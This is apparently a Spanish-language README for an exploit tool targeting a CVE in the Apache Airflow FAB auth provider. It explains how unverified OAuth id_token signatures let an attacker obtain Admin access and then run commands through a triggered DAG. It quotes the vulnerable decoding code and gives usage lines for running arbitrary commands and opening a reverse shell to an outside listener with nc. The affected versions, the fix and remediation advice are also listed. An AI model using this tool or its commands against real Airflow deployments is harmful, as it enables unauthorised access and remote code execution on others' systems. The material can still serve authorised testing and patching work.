CVE-2026-59243 — Apache Airflow FAB Provider: Bypass de autenticación OAuth → RCE vía DAG

Bypass de autenticación en el proveedor FAB auth-manager de Apache Airflow (apache-airflow-providers-fab), que conduce a la ejecución remota de código mediante un DAG desencadenado.

El proveedor decodifica el id_token OAuth de Azure con la verificación de firma deshabilitada por defecto (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):

verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

Los claims se asignan directamente a la identidad — oid → nombre de usuario, roles → role_keys — y AUTH_ROLES_MAPPING convierte un claim roles=["Azure-Admins"] en el rol Admin. Dado que la firma/emisor/audiencia del token nunca se verifican (CWE-347), un atacante que complete el flujo OAuth se autentica como Admin sin credenciales reales. Un Admin puede entonces desencadenar un DAG que ejecute comandos arbitrarios.

• Afectado: apache-airflow-providers-fab < 3.7.3 (con apache-airflow >= 3.0.2)
• Corregido: 3.7.3 (el valor por defecto cambia a verify_signature=True; el token se valida contra el JWKS de Microsoft)
• CWE: 347 (Verificación incorrecta de la firma criptográfica)
• Puerto por defecto: 8080 (IU de Airflow + API REST)
• Impacto: acceso Admin no autenticado → RCE vía tarea del DAG (como el usuario del worker de Airflow)

Requisitos

Solo la biblioteca estándar de Python 3. El objetivo debe tener el gestor de autenticación de FAB configurado con el proveedor Azure OAuth vulnerable y (para el paso de RCE) un DAG cuya tarea ejecute dag_run.conf controlado por el atacante.

Uso

python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

Cómo funciona

1. Bypass de autenticación — dirigir el flujo OAuth (GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) con un cookie jar. FAB acepta el id_token sin firmar/forjado e inicia sesión como Admin, estableciendo una cookie session y una cookie _token (el JWT que la API REST espera).
2. RCE — POST /api/v2/dags/<dag>/dagRuns (Bearer _token) con {"conf":{"cmd":"..."}} desencadena un DAG cuyo BashOperator ejecuta dag_run.conf['cmd']. Use un logical_date único por ejecución (el par (dag_id, logical_date) es único en la base de datos de metadatos).

La herramienta también reescribe el host de loopback en la redirección authorize de OAuth hacia el objetivo, de modo que funciona contra un objetivo remoto cuyo IdP se anuncia como 127.0.0.1 en la configuración del servidor.

Nota

Esto explota el fallo de verificación del token. Alcanzar Admin requiere que el flujo OAuth produzca un token con un claim roles elevado — trivial cuando el IdP/token puede ser influenciado, ya que Airflow nunca verifica la firma. El paso de RCE asume un DAG que ejecuta dag_run.conf (un patrón común); de lo contrario, el acceso Admin puede aprovecharse mediante otras funciones de Airflow.

Remediación

Actualice apache-airflow-providers-fab a ≥ 3.7.3; nunca asigne claims de roles OAuth afirmados externamente directamente a Admin; no ejecute Airflow como root; mantenga la IU/API fuera de redes no confiables.

Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas y educación. Úselo únicamente contra sistemas que posea o para los que tenga permiso explícito de prueba.